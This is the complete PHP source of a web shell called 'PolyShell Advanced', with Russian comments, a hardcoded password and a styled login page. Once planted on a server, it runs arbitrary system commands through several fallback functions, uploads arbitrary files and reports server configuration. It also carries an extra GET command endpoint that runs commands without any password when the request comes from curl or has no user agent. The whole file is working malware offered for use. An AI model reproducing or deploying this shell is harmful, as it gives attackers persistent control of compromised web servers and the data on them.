<?php
/*
██████╗  ██████╗ ██╗   ██╗██╗   ██╗███████╗██╗  ██╗███████╗██╗     ██╗
██╔══██╗██╔═══██╗╚██╗ ██╔╝╚██╗ ██╔╝██╔════╝██║  ██║██╔════╝██║     ██║
██████╔╝██║   ██║ ╚████╔╝  ╚████╔╝ ███████╗███████║█████╗  ██║     ██║
██╔═══╝ ██║   ██║  ╚██╔╝    ╚██╔╝  ╚════██║██╔══██║██╔══╝  ██║     ██║
██║     ╚██████╔╝   ██║      ██║   ███████║██║  ██║███████╗███████╗███████╗
╚═╝      ╚═════╝    ╚═╝      ╚═╝   ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝
PolyShell Advanced - Professional WebShell
*/

// Конфигурация
define('SHELL_PASS', 'tomato2026'); // Пароль для доступа
define('SHELL_VERSION', '3.0');
define('SHELL_CODENAME', 'PolyShell Advanced');

// Функция выполнения команд
function execute($cmd) {
    if (function_exists('system')) {
        ob_start();
        system($cmd);
        return ob_get_clean();
    } elseif (function_exists('exec')) {
        exec($cmd, $output);
        return implode("\n", $output);
    } elseif (function_exists('shell_exec')) {
        return shell_exec($cmd);
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd);
        return ob_get_clean();
    }
    return "Command execution disabled";
}

// Функция получения информации
function get_info() {
    return [
        'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
        'php' => phpversion(),
        'user' => get_current_user(),
        'cwd' => getcwd(),
        'os' => php_uname(),
        'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
        'disabled_functions' => ini_get('disable_functions')
    ];
}

// Аутентификация
$auth = false;
if (isset($_POST['pass']) && $_POST['pass'] === SHELL_PASS) {
    setcookie('shell_auth', md5(SHELL_PASS), time() + 3600);
    $auth = true;
} elseif (isset($_COOKIE['shell_auth']) && $_COOKIE['shell_auth'] === md5(SHELL_PASS)) {
    $auth = true;
} elseif (isset($_GET['key']) && $_GET['key'] === md5(SHELL_PASS)) {
    $auth = true;
}

// Если не авторизован - показываем форму входа
if (!$auth) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>PolyShell - Authentication</title>
        <style>
            body {
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                font-family: 'Courier New', monospace;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                margin: 0;
            }
            .login {
                background: rgba(0,0,0,0.8);
                padding: 40px;
                border-radius: 10px;
                box-shadow: 0 0 20px rgba(0,0,0,0.5);
                text-align: center;
            }
            h1 {
                color: #0f0;
                margin-bottom: 30px;
            }
            input[type="password"] {
                background: #111;
                color: #0f0;
                border: 2px solid #0f0;
                padding: 10px;
                width: 250px;
                font-family: monospace;
                font-size: 16px;
            }
            input[type="submit"] {
                background: #0f0;
                color: #000;
                border: none;
                padding: 10px 20px;
                cursor: pointer;
                font-weight: bold;
                margin-top: 10px;
            }
        </style>
    </head>
    <body>
        <div class="login">
            <h1>🔐 PolyShell Access</h1>
            <form method="POST">
                <input type="password" name="pass" placeholder="Enter password" autofocus>
                <br>
                <input type="submit" value="Authenticate">
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Основной интерфейс
?>
<!DOCTYPE html>
<html>
<head>
    <title>PolyShell v<?= SHELL_VERSION ?> - <?= SHELL_CODENAME ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            background: #0a0a0a;
            color: #0f0;
            font-family: 'Courier New', monospace;
            padding: 20px;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        .header {
            background: #111;
            border: 2px solid #0f0;
            padding: 15px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .header h1 {
            color: #0f0;
            display: inline-block;
        }
        .info-panel {
            background: #111;
            border: 1px solid #0f0;
            padding: 15px;
            margin-bottom: 20px;
            border-radius: 5px;
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 10px;
        }
        .info-item {
            border-left: 3px solid #0f0;
            padding-left: 10px;
        }
        .info-label {
            color: #ff0;
            font-size: 12px;
        }
        .info-value {
            font-size: 14px;
            word-break: break-all;
        }
        .cmd-form {
            background: #111;
            border: 1px solid #0f0;
            padding: 15px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .cmd-input {
            width: 80%;
            background: #000;
            color: #0f0;
            border: 1px solid #0f0;
            padding: 10px;
            font-family: monospace;
            font-size: 14px;
        }
        .cmd-btn {
            background: #0f0;
            color: #000;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            font-weight: bold;
            margin-left: 10px;
        }
        .output {
            background: #000;
            border: 1px solid #0f0;
            padding: 15px;
            margin-top: 20px;
            border-radius: 5px;
            white-space: pre-wrap;
            font-size: 12px;
            max-height: 500px;
            overflow-y: auto;
        }
        .upload-form {
            background: #111;
            border: 1px solid #0f0;
            padding: 15px;
            margin-top: 20px;
            border-radius: 5px;
        }
        .file-input {
            background: #000;
            color: #0f0;
            border: 1px solid #0f0;
            padding: 10px;
        }
        .nav-links {
            margin-bottom: 20px;
        }
        .nav-links a {
            color: #0f0;
            margin-right: 15px;
            text-decoration: none;
        }
        .nav-links a:hover {
            text-decoration: underline;
        }
        pre {
            margin: 0;
            white-space: pre-wrap;
        }
        .success {
            color: #0f0;
        }
        .error {
            color: #f00;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🔥 <?= SHELL_CODENAME ?> v<?= SHELL_VERSION ?></h1>
            <span style="float: right; margin-top: 15px;">💻 Active Session</span>
        </div>
        
        <div class="nav-links">
            <a href="?">🏠 Home</a>
            <a href="?info=1">📊 System Info</a>
            <a href="?files=1">📁 File Browser</a>
            <a href="?logout=1">🚪 Logout</a>
        </div>
        
        <?php if (isset($_GET['info'])): ?>
        <div class="info-panel">
            <?php foreach (get_info() as $label => $value): ?>
            <div class="info-item">
                <div class="info-label"><?= strtoupper($label) ?></div>
                <div class="info-value"><?= htmlspecialchars($value) ?></div>
            </div>
            <?php endforeach; ?>
        </div>
        <?php endif; ?>
        
        <div class="cmd-form">
            <h3>💻 Command Execution</h3>
            <form method="POST" action="">
                <input type="text" name="cmd" class="cmd-input" placeholder="Enter system command..." autofocus>
                <input type="submit" value="Execute" class="cmd-btn">
            </form>
        </div>
        
        <div class="upload-form">
            <h3>📁 File Upload</h3>
            <form method="POST" enctype="multipart/form-data" action="">
                <input type="file" name="file" class="file-input">
                <input type="hidden" name="upload" value="1">
                <input type="submit" value="Upload File" class="cmd-btn">
            </form>
        </div>
        
        <?php
        // Обработка команд
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            echo "<div class='output'>";
            echo "<span style='color:#ff0'>$ $cmd</span><hr>";
            echo execute($cmd);
            echo "</div>";
        }
        
        // Обработка загрузки
        if (isset($_POST['upload']) && isset($_FILES['file'])) {
            $target = basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                echo "<div class='output success'>✅ File uploaded: " . htmlspecialchars($target) . "</div>";
            } else {
                echo "<div class='output error'>❌ Upload failed</div>";
            }
        }
        
        // Логаут
        if (isset($_GET['logout'])) {
            setcookie('shell_auth', '', time() - 3600);
            header('Location: ?');
            exit;
        }
        ?>
        
        <div class="output">
            <span style="color:#ff0">📡 System Information</span><hr>
            <span class="info-label">Server Time:</span> <?= date('Y-m-d H:i:s') ?><br>
            <span class="info-label">PHP Memory:</span> <?= ini_get('memory_limit') ?><br>
            <span class="info-label">Max Upload:</span> <?= ini_get('upload_max_filesize') ?><br>
            <span class="info-label">Your IP:</span> <?= $_SERVER['REMOTE_ADDR'] ?? 'Unknown' ?><br>
        </div>
    </div>
</body>
</html>
<?php
// Обработка прямых команд (для API)
if (isset($_GET['cmd']) && !isset($_SERVER['HTTP_USER_AGENT']) || strpos($_SERVER['HTTP_USER_AGENT'], 'curl') !== false) {
    echo execute($_GET['cmd']);
}
?>
